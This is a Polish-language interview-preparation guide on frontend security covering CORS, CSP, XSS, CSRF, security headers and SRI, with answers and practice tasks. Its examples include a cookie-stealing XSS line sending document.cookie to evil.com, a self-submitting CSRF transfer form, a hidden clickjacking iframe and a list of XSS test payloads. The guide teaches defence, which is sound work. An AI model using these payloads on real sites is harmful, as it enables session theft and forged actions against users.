50+ Frontend Security Pytania Rekrutacyjne 2026: CSP, CORS, XSS i CSRF
Na rozmowie rekrutacyjnej pada pytanie: "Jak zabezpieczysz aplikację przed XSS?". Kandydat odpowiada: "Używam React, więc jest bezpieczne". To odpowiedź, która natychmiast dyskwalifikuje. React escapuje dane, ale nie chroni przed DOM-based XSS, nie ustawia CSP, nie konfiguruje CORS. Bezpieczeństwo frontend to znacznie więcej niż wybór frameworka.
W tym przewodniku znajdziesz wszystko, co musisz wiedzieć o bezpieczeństwie frontend na rozmowę rekrutacyjną - od fundamentów Same-Origin Policy, przez CSP i CORS, po praktyczne techniki ochrony przed XSS i CSRF.
Spis Treści
- Bezpieczeństwo Frontend Pytania
- Same-Origin Policy Pytania
- CORS Pytania
- Content Security Policy (CSP) Pytania
- XSS Pytania
- CSRF Pytania
- Nagłówki Bezpieczeństwa Pytania
- Subresource Integrity (SRI) Pytania
- Pytania Rekrutacyjne z Odpowiedziami
- Zadania Praktyczne
- Powiązane Artykuły
Bezpieczeństwo Frontend Pytania
Jak krótko odpowiedzieć na pytanie o bezpieczeństwo frontend?
Bezpieczeństwo frontend to jedno z najczęstszych pytań na rozmowach rekrutacyjnych. Oto zwięzła odpowiedź, którą możesz wykorzystać:
"Bezpieczeństwo frontend opiera się na kilku warstwach. Same-Origin Policy to domyślna ochrona przeglądarki blokująca cross-origin requests. CORS pozwala serwerowi kontrolowanie, kto może wykonywać takie żądania. CSP definiuje, z jakich źródeł można ładować zasoby - to główna ochrona przed XSS. Dodatkowo: secure cookies z HttpOnly i SameSite, nagłówki bezpieczeństwa jak X-Frame-Options, oraz sanityzacja danych wejściowych."
Jak szczegółowo wyjaśnić bezpieczeństwo frontend na rozmowie?
Gdy rekruter chce usłyszeć bardziej szczegółową odpowiedź, warto przedstawić bezpieczeństwo frontend jako wielowarstwowy system, gdzie każda warstwa chroni przed innymi zagrożeniami.
Pierwsza warstwa to Same-Origin Policy - wbudowany mechanizm przeglądarki, który blokuje JavaScript z jednej domeny przed odczytywaniem danych z innej. Origin to kombinacja protokołu, domeny i portu. Dzięki SOP, złośliwy skrypt na evil.com nie może wykonać fetch do twojego banku i przeczytać odpowiedzi.
CORS to mechanizm pozwalający serwerowi ominąć SOP dla wybranych domen. Gdy wykonujesz żądanie cross-origin, przeglądarka dodaje nagłówek Origin. Serwer odpowiada Access-Control-Allow-Origin wskazując, czy dana domena ma dostęp. Dla "niebezpiecznych" żądań (np. POST z JSON) przeglądarka najpierw wysyła preflight OPTIONS, pytając serwer o zgodę.
CSP (Content Security Policy) to druga linia obrony - definiuje, skąd mogą pochodzić zasoby. Dyrektywa script-src 'self' oznacza, że tylko skrypty z tej samej domeny mogą być wykonane. Blokuje to większość ataków XSS, bo wstrzyknięty skrypt nie będzie miał autoryzowanego źródła. Można też użyć nonce lub hash dla konkretnych skryptów inline.
Trzecia warstwa to secure cookies. Atrybut HttpOnly uniemożliwia JavaScript dostęp do cookie - nawet jeśli XSS się powiedzie, atakujący nie wykradnie sesji. SameSite kontroluje wysyłanie cookies w żądaniach cross-site, chroniąc przed CSRF. Secure wymusza HTTPS.
Na poziomie kodu: escapowanie danych wyjściowych (textContent zamiast innerHTML), sanityzacja HTML wejściowego (DOMPurify), walidacja po stronie serwera, i świadome używanie niebezpiecznych API (eval, innerHTML, document.write).
Same-Origin Policy Pytania
Same-Origin Policy to fundamentalny mechanizm bezpieczeństwa przeglądarki, który każdy frontend developer musi rozumieć. Poniżej znajdziesz najważniejsze pytania i odpowiedzi dotyczące SOP.
Czym jest Origin w kontekście bezpieczeństwa przeglądarki?
Origin to kombinacja trzech elementów: protokołu, domeny i portu. Dwa URL-e mają ten sam origin, gdy wszystkie trzy są identyczne.
// Te URL-e mają różne origins:
https://example.com // origin A
https://example.com:8080 // origin B (inny port)
http://example.com // origin C (inny protokół)
https://api.example.com // origin D (inna subdomena)
https://example.org // origin E (inna domena)
// Te URL-e mają ten sam origin:
https://example.com/page1
https://example.com/page2
https://example.com:443 // 443 to domyślny port HTTPS
Co blokuje Same-Origin Policy?
Same-Origin Policy blokuje JavaScript z jednej domeny przed dostępem do danych z innej domeny. Oto konkretne działania, które SOP blokuje:
SOP blokuje JavaScript z domeny A przed:
- Czytaniem odpowiedzi fetch/XMLHttpRequest z domeny B
- Dostępem do DOM iframe z domeny B
- Czytaniem cookies, localStorage, sessionStorage domeny B
// Na stronie evil.com
fetch('https://bank.com/api/balance')
.then(res => res.json())
.then(data => {
// Ten kod NIGDY nie zostanie wykonany
// Przeglądarka zablokuje odczyt odpowiedzi
sendToAttacker(data);
});
Czego Same-Origin Policy NIE blokuje?
Ważne rozróżnienie, które często pojawia się na rozmowach rekrutacyjnych: SOP blokuje odczyt odpowiedzi, ale nie blokuje wysłania żądania. To kluczowe dla zrozumienia, dlaczego CSRF jest możliwy.
// To żądanie ZOSTANIE wysłane
fetch('https://bank.com/api/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'attacker', amount: 1000 })
});
// Tylko odpowiedź będzie niedostępna
// Dlatego CSRF jest możliwy nawet z SOP!
Dodatkowo SOP nie blokuje ładowania zasobów przez tagi HTML:
-
<img src="https://other-domain.com/image.png">- działa -
<script src="https://cdn.com/lib.js">- działa -
<link href="https://other.com/style.css">- działa
To dlatego potrzebujemy CSP.
CORS Pytania
CORS (Cross-Origin Resource Sharing) to jeden z najczęściej omawianych tematów na rozmowach rekrutacyjnych frontend developerów. Zrozumienie CORS jest niezbędne przy pracy z API.
Jak działa mechanizm CORS?
CORS to mechanizm pozwalający serwerowi powiedzieć przeglądarce: "akceptuję żądania z tej domeny".
Żądanie z https://app.com do https://api.com:
1. Przeglądarka wysyła:
GET /data HTTP/1.1
Origin: https://app.com
2. Serwer odpowiada:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.com
3. Przeglądarka widzi pasujący nagłówek → udostępnia odpowiedź JavaScript
Czym różnią się Simple Requests od Preflight?
Przeglądarka rozróżnia "proste" i "złożone" żądania. To rozróżnienie jest kluczowe dla zrozumienia, kiedy przeglądarka wyśle dodatkowe żądanie OPTIONS. Proste żądania nie wymagają preflight:
// Simple request - bez preflight
fetch('https://api.com/data'); // GET
fetch('https://api.com/data', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
});
// Wymagają preflight:
fetch('https://api.com/data', {
method: 'PUT' // metoda inna niż GET/HEAD/POST
});
fetch('https://api.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json' // niestandardowy Content-Type
}
});
fetch('https://api.com/data', {
headers: {
'X-Custom-Header': 'value' // niestandardowy nagłówek
}
});
Jak działa Preflight Request?
Preflight to żądanie OPTIONS wysyłane automatycznie przez przeglądarkę przed właściwym żądaniem. Oto jak wygląda pełny flow:
1. Preflight:
OPTIONS /data HTTP/1.1
Origin: https://app.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, X-Auth-Token
2. Odpowiedź preflight:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, X-Auth-Token
Access-Control-Max-Age: 86400
3. Dopiero teraz właściwe żądanie:
PUT /data HTTP/1.1
Origin: https://app.com
Content-Type: application/json
X-Auth-Token: abc123
Jak używać CORS z Credentials (cookies)?
Domyślnie CORS nie wysyła cookies w żądaniach cross-origin. Jeśli potrzebujesz wysyłać cookies, musisz to jawnie skonfigurować zarówno po stronie frontend, jak i backend:
// Frontend
fetch('https://api.com/data', {
credentials: 'include' // wysyłaj cookies
});
// Backend musi odpowiedzieć:
// Access-Control-Allow-Origin: https://app.com (NIE może być *)
// Access-Control-Allow-Credentials: true
Ważne: gdy używasz credentials: 'include', serwer NIE może odpowiedzieć Access-Control-Allow-Origin: *. Musi być konkretna domena.
Jakie są najczęstsze błędy CORS i jak je naprawić?
Błędy CORS to jedne z najczęściej spotykanych problemów podczas integracji z API. Oto typowe komunikaty błędów i ich przyczyny:
// Błąd: "No 'Access-Control-Allow-Origin' header"
// Przyczyna: serwer nie ustawia nagłówka CORS
// Błąd: "Wildcard '*' cannot be used with credentials"
// Przyczyna: credentials: 'include' z Access-Control-Allow-Origin: *
// Błąd: "Method PUT is not allowed"
// Przyczyna: brak PUT w Access-Control-Allow-Methods
// Błąd: "Request header X-Auth-Token is not allowed"
// Przyczyna: brak X-Auth-Token w Access-Control-Allow-Headers
Content Security Policy (CSP) Pytania
Content Security Policy (CSP) to jeden z najważniejszych mechanizmów ochrony przed XSS i innymi atakami wstrzykiwania kodu. Pytania o CSP regularnie pojawiają się na rozmowach rekrutacyjnych.
Czym jest CSP i jak działa?
CSP to nagłówek HTTP (lub meta tag) definiujący, z jakich źródeł mogą pochodzić zasoby. To najskuteczniejsza ochrona przed XSS.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.com; style-src 'self' 'unsafe-inline'; img-src *; connect-src 'self' https://api.com
Jakie są kluczowe dyrektywy CSP?
CSP oferuje wiele dyrektyw, z których każda kontroluje inny typ zasobów. Oto najważniejsze z nich:
default-src - domyślne źródło dla wszystkich typów zasobów
script-src - skąd można ładować JavaScript
style-src - skąd można ładować CSS
img-src - skąd można ładować obrazy
font-src - skąd można ładować fonty
connect-src - do jakich URL-i można wykonywać fetch/XHR/WebSocket
frame-src - jakie URL-e można osadzać w iframe
media-src - skąd można ładować audio/video
object-src - skąd można ładować <object>, <embed>, <applet>
base-uri - jakie wartości może mieć <base href="">
form-action - gdzie mogą być wysyłane formularze
frame-ancestors - kto może osadzać stronę w iframe (jak X-Frame-Options)
Jakie wartości źródeł można używać w dyrektywach CSP?
CSP oferuje różne wartości źródeł, które pozwalają precyzyjnie kontrolować, skąd mogą pochodzić zasoby:
'self' - ta sama domena
'none' - nic nie dozwolone
'unsafe-inline' - inline scripts/styles (osłabia CSP!)
'unsafe-eval' - eval(), Function(), setTimeout(string)
'strict-dynamic' - zaufaj skryptom ładowanym przez zaufane skrypty
https: - dowolne źródło HTTPS
data: - data: URI
blob: - blob: URI
'nonce-abc123' - skrypty z atrybutem nonce="abc123"
'sha256-...' - skrypty z pasującym hashem
Jak używać CSP z Nonce?
Nonce (Number used ONCE) to jednorazowy token generowany dla każdego request. Jest to preferowana metoda autoryzowania skryptów inline w CSP:
<!-- Serwer generuje losowy nonce dla każdego żądania -->
<script nonce="abc123xyz">
// Ten skrypt się wykona
console.log('Autoryzowany skrypt');
</script>
<script>
// Ten skrypt ZABLOKOWANY - brak nonce
console.log('Nieautoryzowany skrypt');
</script>
Content-Security-Policy: script-src 'nonce-abc123xyz'
Jak używać CSP z Hash?
Alternatywą dla nonce jest użycie hasha zawartości skryptu. Ta metoda jest przydatna, gdy skrypty są statyczne i nie zmieniają się między żądaniami:
<script>alert('hello')</script>
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng='
Hash obliczany jest z dokładnej zawartości skryptu (włącznie z białymi znakami).
Jakie są przykłady praktycznych polityk CSP?
Oto przykłady polityk CSP dla różnych scenariuszy - od bardzo restrykcyjnych po bardziej praktyczne dla aplikacji z zewnętrznymi usługami:
# Bardzo restrykcyjny CSP (idealny cel)
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-abc123';
style-src 'self';
img-src 'self' https://images.cdn.com;
font-src 'self';
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
# CSP dla aplikacji z Google Analytics i CDN
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://cdn.jsdelivr.net 'nonce-xyz789';
style-src 'self' 'unsafe-inline';
img-src 'self' https://www.google-analytics.com data:;
connect-src 'self' https://www.google-analytics.com https://api.example.com
# CSP Report-Only (testowanie bez blokowania)
Content-Security-Policy-Report-Only:
default-src 'self';
report-uri /csp-violation-report
Jak skonfigurować raportowanie naruszeń CSP?
CSP oferuje możliwość raportowania naruszeń polityki, co jest bardzo przydatne przy wdrażaniu i monitorowaniu bezpieczeństwa:
Content-Security-Policy: default-src 'self'; report-uri /csp-report
// POST /csp-report
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src 'self'",
"blocked-uri": "https://evil.com/malicious.js",
"original-policy": "default-src 'self'",
"disposition": "enforce"
}
}
XSS Pytania
Cross-Site Scripting (XSS) to jeden z najczęstszych ataków na aplikacje webowe. Na rozmowach rekrutacyjnych pytania o XSS pojawiają się niemal zawsze, gdy mowa o bezpieczeństwie frontend.
Jakie są typy ataków XSS?
Wyróżniamy trzy główne typy ataków XSS, każdy z nich ma inny wektor ataku i wymaga innego podejścia do ochrony.
Reflected XSS - złośliwy skrypt w URL, odbijany przez serwer:
https://example.com/search?q=<script>alert('XSS')</script>
Serwer zwraca:
<p>Wyniki dla: <script>alert('XSS')</script></p>
Stored XSS - złośliwy skrypt zapisany w bazie danych:
Atakujący wstawia komentarz:
<script>fetch('https://evil.com?cookie='+document.cookie)</script>
Każdy użytkownik widząc komentarz wykonuje ten skrypt.
DOM-based XSS - złośliwy skrypt manipuluje DOM bez udziału serwera:
// Podatny kod:
const search = new URLSearchParams(location.search).get('q');
document.getElementById('output').innerHTML = search;
// URL atakującego:
// ?q=<img src=x onerror="alert('XSS')">
Jak chronić aplikację przed atakami XSS?
Ochrona przed XSS wymaga wielowarstwowego podejścia. Oto najważniejsze techniki, które powinieneś znać:
1. Escapowanie danych wyjściowych:
// ŹLE - podatne na XSS
element.innerHTML = userInput;
// DOBRZE - bezpieczne
element.textContent = userInput;
// Jeśli potrzebujesz HTML:
function escapeHtml(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
element.innerHTML = escapeHtml(userInput);
2. Sanityzacja HTML (gdy musisz pozwolić na HTML):
import DOMPurify from 'dompurify';
// Usuwa niebezpieczne elementy i atrybuty
const clean = DOMPurify.sanitize(dirtyHtml);
element.innerHTML = clean;
// Konfiguracja
const clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
3. CSP blokuje inline scripts:
Content-Security-Policy: script-src 'self'
4. HttpOnly cookies:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
JavaScript nie może odczytać cookie z HttpOnly - nawet jeśli XSS się powiedzie.
5. Frameworki z automatycznym escapowaniem:
// React - automatyczne escapowanie
function Comment({ text }) {
return <div>{text}</div>; // Bezpieczne - text jest escapowany
}
// Niebezpieczne API - świadomie używane
<div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} />
// Angular - automatyczne escapowanie
@Component({
template: '<div>{{ userInput }}</div>' // Bezpieczne
})
// Niebezpieczne API
@Component({
template: '<div [innerHTML]="trustedHtml"></div>'
})
CSRF Pytania
Cross-Site Request Forgery (CSRF) to atak, w którym atakujący zmusza przeglądarkę ofiary do wykonania niechcianego żądania. Zrozumienie CSRF jest kluczowe dla budowania bezpiecznych aplikacji.
Jak działa atak CSRF?
CSRF wykorzystuje fakt, że przeglądarka automatycznie dołącza cookies do żądań. Oto przykład ataku:
<!-- Na stronie evil.com -->
<form action="https://bank.com/transfer" method="POST" id="attack">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('attack').submit();</script>
Jeśli użytkownik jest zalogowany do bank.com, przeglądarka automatycznie dołączy cookies sesji do tego żądania.
Jak chronić aplikację przed atakami CSRF?
Istnieje kilka skutecznych metod ochrony przed CSRF. Najlepsze podejście to zastosowanie wielu warstw zabezpieczeń jednocześnie:
1. SameSite Cookies:
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
-
SameSite=Strict- cookie NIGDY nie wysyłane z żądań cross-site -
SameSite=Lax- cookie wysyłane tylko dla nawigacji top-level (kliknięcie linku) -
SameSite=None- cookie wysyłane zawsze (wymaga Secure)
2. CSRF Tokens:
<!-- Serwer generuje unikalny token dla każdej sesji/żądania -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="unique-token-abc123">
<input type="text" name="to">
<input type="number" name="amount">
<button>Transfer</button>
</form>
Serwer weryfikuje, czy token w żądaniu pasuje do tokena w sesji.
3. Weryfikacja nagłówka Origin:
// Serwer sprawdza nagłówek Origin
app.post('/api/transfer', (req, res) => {
const origin = req.headers.origin;
if (origin !== 'https://bank.com') {
return res.status(403).send('Forbidden');
}
// Kontynuuj...
});
Nagłówki Bezpieczeństwa Pytania
Oprócz CSP istnieje wiele innych nagłówków HTTP, które zwiększają bezpieczeństwo aplikacji webowych. Na rozmowach rekrutacyjnych często pytają o znajomość tych nagłówków.
Co robi nagłówek X-Content-Type-Options?
Nagłówek X-Content-Type-Options zapobiega atakom MIME sniffing, gdzie przeglądarka próbuje odgadnąć typ pliku na podstawie zawartości:
X-Content-Type-Options: nosniff
Zapobiega MIME sniffing - przeglądarka nie zgaduje typu pliku, używa tylko Content-Type.
Co robi nagłówek X-Frame-Options?
X-Frame-Options chroni przed atakami clickjacking, kontrolując czy strona może być osadzana w iframe:
X-Frame-Options: DENY
# lub
X-Frame-Options: SAMEORIGIN
Wartość DENY blokuje całkowicie osadzanie strony w iframe, a SAMEORIGIN pozwala tylko z tej samej domeny.
Co robi nagłówek HSTS (Strict-Transport-Security)?
HSTS wymusza połączenie HTTPS, informując przeglądarkę, aby zawsze używała szyfrowanego połączenia z daną domeną:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Po otrzymaniu tego nagłówka przeglądarka automatycznie przekierowuje wszystkie żądania HTTP na HTTPS przez okres określony w max-age (tutaj: 1 rok).
Co robi nagłówek Referrer-Policy?
Referrer-Policy kontroluje, ile informacji o poprzedniej stronie jest wysyłane w nagłówku Referer przy nawigacji:
Referrer-Policy: strict-origin-when-cross-origin
Ta wartość oznacza: pełny URL dla żądań same-origin, tylko origin dla cross-origin, i nic przy przejściu z HTTPS na HTTP.
Co robi nagłówek Permissions-Policy?
Permissions-Policy (dawniej Feature-Policy) kontroluje, które API przeglądarki mogą być używane na stronie:
Permissions-Policy: geolocation=(), microphone=(), camera=()
Pusta lista () oznacza całkowite wyłączenie danej funkcji. Możesz też określić konkretne domeny, które mogą używać API.
Jak wygląda kompletny zestaw nagłówków bezpieczeństwa?
Oto przykład kompletu nagłówków bezpieczeństwa, które powinna ustawiać każda nowoczesna aplikacja webowa:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
Subresource Integrity (SRI) Pytania
Subresource Integrity (SRI) to mechanizm weryfikacji integralności zewnętrznych zasobów. Jest szczególnie ważny przy ładowaniu skryptów i stylów z CDN.
Czym jest SRI i jak go używać?
SRI pozwala zweryfikować, że zasób z CDN nie został zmodyfikowany. Przeglądarka sprawdza hash pliku przed jego wykonaniem:
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
<link
rel="stylesheet"
href="https://cdn.example.com/style.css"
integrity="sha384-abc123..."
crossorigin="anonymous">
Jeśli hash nie pasuje, zasób nie zostanie załadowany.
# Generowanie hash
openssl dgst -sha384 -binary library.js | openssl base64 -A
# lub
cat library.js | shasum -a 384 | xxd -r -p | base64
Pytania Rekrutacyjne z Odpowiedziami
Pytanie 1: Wyjaśnij różnicę między Same-Origin Policy a CORS
Odpowiedź: Same-Origin Policy to domyślna polityka bezpieczeństwa przeglądarki - blokuje JavaScript z jednej domeny przed odczytaniem danych z innej domeny. Origin to kombinacja protokołu, domeny i portu.
CORS to mechanizm pozwalający serwerowi ominąć SOP dla wybranych domen. Serwer ustawia nagłówki Access-Control-Allow-* wskazujące, które domeny mają dostęp. CORS nie wyłącza SOP - rozszerza je o kontrolowane wyjątki.
Kluczowa różnica: SOP to restrykcja domyślna, CORS to mechanizm jej poluzowania pod kontrolą serwera.
Pytanie 2: Kiedy przeglądarka wysyła preflight request?
Odpowiedź: Przeglądarka wysyła preflight (OPTIONS) przed żądaniem, które jest "nieprostym" (non-simple) według specyfikacji CORS:
- Metoda inna niż GET, HEAD, POST
- Nagłówki inne niż Accept, Accept-Language, Content-Language, Content-Type
- Content-Type inny niż application/x-www-form-urlencoded, multipart/form-data, text/plain
Preflight pyta serwer o zgodę przed wysłaniem właściwego żądania. Odpowiedź może być cache'owana (Access-Control-Max-Age).
Pytanie 3: Jak CSP chroni przed XSS?
Odpowiedź: CSP definiuje whitelistę źródeł, z których mogą pochodzić zasoby. Dla ochrony przed XSS kluczowa jest dyrektywa script-src.
Jeśli CSP mówi script-src 'self', to:
- Skrypty z tej samej domeny się wykonają
- Skrypty inline są blokowane (chyba że użyjesz nonce lub hash)
- Skrypty z obcych domen są blokowane
- eval() jest blokowane
Nawet jeśli atakujący wstrzyknie <script>alert('XSS')</script>, skrypt nie zostanie wykonany, bo nie ma autoryzowanego źródła (brak nonce, hash, ani external source).
Pytanie 4: Czym różni się 'unsafe-inline' od nonce w CSP?
Odpowiedź:
'unsafe-inline' pozwala na wszystkie skrypty inline - jest to słabe zabezpieczenie, bo atakujący może wstrzyknąć dowolny inline script.
Nonce to jednorazowy token generowany dla każdego żądania. Tylko skrypty z pasującym atrybutem nonce się wykonają:
<script nonce="abc123">OK</script> <!-- Wykona się -->
<script>alert('XSS')</script> <!-- Zablokowane -->
Nonce jest bezpieczniejsze, bo atakujący nie zna wartości nonce dla danego żądania. Wymaga jednak generowania unikalnego nonce per request na serwerze.
Pytanie 5: Jak działa atak CSRF i jak się przed nim bronić?
Odpowiedź: CSRF wykorzystuje fakt, że przeglądarka automatycznie dołącza cookies do żądań. Atakujący tworzy stronę z formularzem wysyłającym żądanie do podatnej aplikacji. Jeśli ofiara jest zalogowana, żądanie zostanie wykonane z jej uprawnieniami.
Obrona wielowarstwowa:
-
SameSite cookies -
SameSite=StrictlubLaxblokuje wysyłanie cookies w żądaniach cross-site - CSRF tokens - unikalny token per sesja/request, weryfikowany przez serwer
- Weryfikacja Origin - serwer sprawdza nagłówek Origin żądania
- Custom headers - żądania API wymagają nagłówków, których nie można dodać z obcych domen bez CORS
Pytanie 6: Co to jest DOM-based XSS i jak się różni od reflected/stored?
Odpowiedź: DOM-based XSS dzieje się całkowicie po stronie klienta - złośliwy payload nigdy nie trafia na serwer. Podatny JavaScript czyta dane z URL (location.hash, location.search) i wstawia je do DOM.
// Podatny kod
document.getElementById('output').innerHTML = location.hash.slice(1);
// URL atakującego
// https://example.com/#<img src=x onerror="alert('XSS')">
Różnice:
- Reflected - payload w żądaniu, serwer go odbija w odpowiedzi
- Stored - payload zapisany w bazie, serwowany każdemu
- DOM-based - payload w URL, przetwarzany tylko przez JavaScript w przeglądarce
Obrona: nie używać innerHTML z danymi użytkownika, zawsze używać textContent lub sanityzacji.
Pytanie 7: Wyjaśnij atrybuty HttpOnly, Secure i SameSite dla cookies
Odpowiedź: HttpOnly - cookie niedostępne dla JavaScript (document.cookie). Chroni przed kradzieżą sesji przez XSS.
Secure - cookie wysyłane tylko przez HTTPS. Chroni przed przechwyceniem przez ataki MITM.
SameSite - kontroluje wysyłanie cookies w żądaniach cross-site:
-
Strict- tylko same-origin requests -
Lax- same-origin + nawigacja top-level (kliknięcie linku) -
None- wszystkie żądania (wymaga Secure)
Idealna kombinacja dla sesji:
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
Pytanie 8: Co to jest clickjacking i jak się przed nim bronić?
Odpowiedź: Clickjacking to atak, gdzie atakujący osadza twoją stronę w niewidocznym iframe i nakłada na nią własne elementy. Użytkownik myśli, że klika na stronie atakującego, ale faktycznie klika na twojej stronie.
<iframe src="https://bank.com/transfer" style="opacity: 0; position: absolute;"></iframe>
<button>Click to win a prize!</button>
Obrona:
- X-Frame-Options: DENY - blokuje osadzanie strony w iframe
- X-Frame-Options: SAMEORIGIN - pozwala tylko z tej samej domeny
- CSP frame-ancestors 'none' - nowszy odpowiednik DENY
- CSP frame-ancestors 'self' - odpowiednik SAMEORIGIN
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
Pytanie 9: Jak bezpiecznie ładować zewnętrzne skrypty z CDN?
Odpowiedź: Trzy warstwy ochrony:
1. Subresource Integrity (SRI) - weryfikacja hash:
<script
src="https://cdn.com/lib.js"
integrity="sha384-abc123..."
crossorigin="anonymous">
</script>
2. CSP whitelist - tylko zaufane CDN:
Content-Security-Policy: script-src 'self' https://cdn.com
3. Atrybut crossorigin - kontrola dostępu do błędów:
<script src="https://cdn.com/lib.js" crossorigin="anonymous"></script>
Bez crossorigin, błędy z external scripts są ukryte ("Script error."). Z crossorigin możesz je logować.
Pytanie 10: Jak przetestować czy aplikacja jest podatna na XSS?
Odpowiedź: Metody testowania:
1. Ręczne wstrzykiwanie payloadów:
<script>alert('XSS')</script>
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
javascript:alert('XSS')
" onmouseover="alert('XSS')
2. Sprawdzenie wszystkich punktów wejścia:
- Pola formularzy
- Parametry URL
- Nagłówki (User-Agent, Referer)
- Dane z localStorage/sessionStorage
- Dane z WebSocket/API
3. Narzędzia automatyczne:
- OWASP ZAP
- Burp Suite
- XSS Hunter
4. Weryfikacja zabezpieczeń:
- Czy CSP jest ustawiony?
- Czy dane są escapowane?
- Czy innerHTML jest używane z danymi użytkownika?
- Czy cookies mają HttpOnly?
5. Code review:
- Szukaj: innerHTML, outerHTML, document.write, eval, Function()
- Sprawdź, czy dane wejściowe są walidowane/sanityzowane
Zadania Praktyczne
Zadanie 1: Napisz politykę CSP
Napisz CSP dla aplikacji, która:
- Ładuje skrypty z własnej domeny i cdn.jsdelivr.net
- Używa inline styles (z nonce)
- Ładuje obrazy z dowolnego źródła HTTPS
- Wykonuje API calls do api.example.com
- Nie może być osadzana w iframe
Rozwiązanie
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' 'nonce-abc123';
img-src 'self' https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
Zadanie 2: Napraw podatny kod
function displayUserProfile(userId) {
fetch(`/api/users/${userId}`)
.then(res => res.json())
.then(user => {
document.getElementById('name').innerHTML = user.name;
document.getElementById('bio').innerHTML = user.bio;
document.getElementById('website').innerHTML =
`<a href="${user.website}">Visit website</a>`;
});
}
Rozwiązanie
import DOMPurify from 'dompurify';
function displayUserProfile(userId) {
// Walidacja userId (powinno być liczbą/UUID)
if (!isValidUserId(userId)) {
throw new Error('Invalid user ID');
}
fetch(`/api/users/${encodeURIComponent(userId)}`)
.then(res => res.json())
.then(user => {
// Używaj textContent zamiast innerHTML dla zwykłego tekstu
document.getElementById('name').textContent = user.name;
// Sanityzacja HTML jeśli bio może zawierać formatowanie
document.getElementById('bio').innerHTML = DOMPurify.sanitize(user.bio);
// Walidacja URL przed wstawieniem
const websiteUrl = sanitizeUrl(user.website);
const link = document.createElement('a');
link.href = websiteUrl;
link.textContent = 'Visit website';
document.getElementById('website').innerHTML = '';
document.getElementById('website').appendChild(link);
});
}
function sanitizeUrl(url) {
try {
const parsed = new URL(url);
// Pozwól tylko na http/https
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
return '#';
}
return parsed.href;
} catch {
return '#';
}
}
Zadanie 3: Skonfiguruj CORS na serwerze
Napisz middleware Express.js, który:
- Pozwala na żądania z https://app.example.com
- Obsługuje credentials (cookies)
- Pozwala na metody GET, POST, PUT, DELETE
- Pozwala na nagłówki Content-Type i Authorization
- Cache'uje preflight na 1 godzinę
Rozwiązanie
function corsMiddleware(req, res, next) {
const allowedOrigin = 'https://app.example.com';
// Sprawdź Origin
if (req.headers.origin === allowedOrigin) {
res.setHeader('Access-Control-Allow-Origin', allowedOrigin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
// Obsługa preflight
if (req.method === 'OPTIONS') {
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Max-Age', '3600'); // 1 godzina
return res.status(204).end();
}
}
next();
}
// Alternatywnie z biblioteką cors:
const cors = require('cors');
app.use(cors({
origin: 'https://app.example.com',
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
maxAge: 3600
}));
Powiązane Artykuły
- Kompletny Przewodnik - Rozmowa Frontend Developer - pełny przewodnik przygotowawczy
- 15 Najtrudniejszych Pytań Rekrutacyjnych z JavaScript - dogłębne pytania JS
- Web Performance i Core Web Vitals - optymalizacja wydajności
- HTML5 i Accessibility - semantyka i dostępność
- Node.js Backend - Kompletny Przewodnik - bezpieczeństwo backend
Chcesz więcej pytań rekrutacyjnych?
To tylko jeden temat z naszego kompletnego przewodnika po rozmowach rekrutacyjnych. Uzyskaj dostęp do 800+ pytań z 13 technologii.
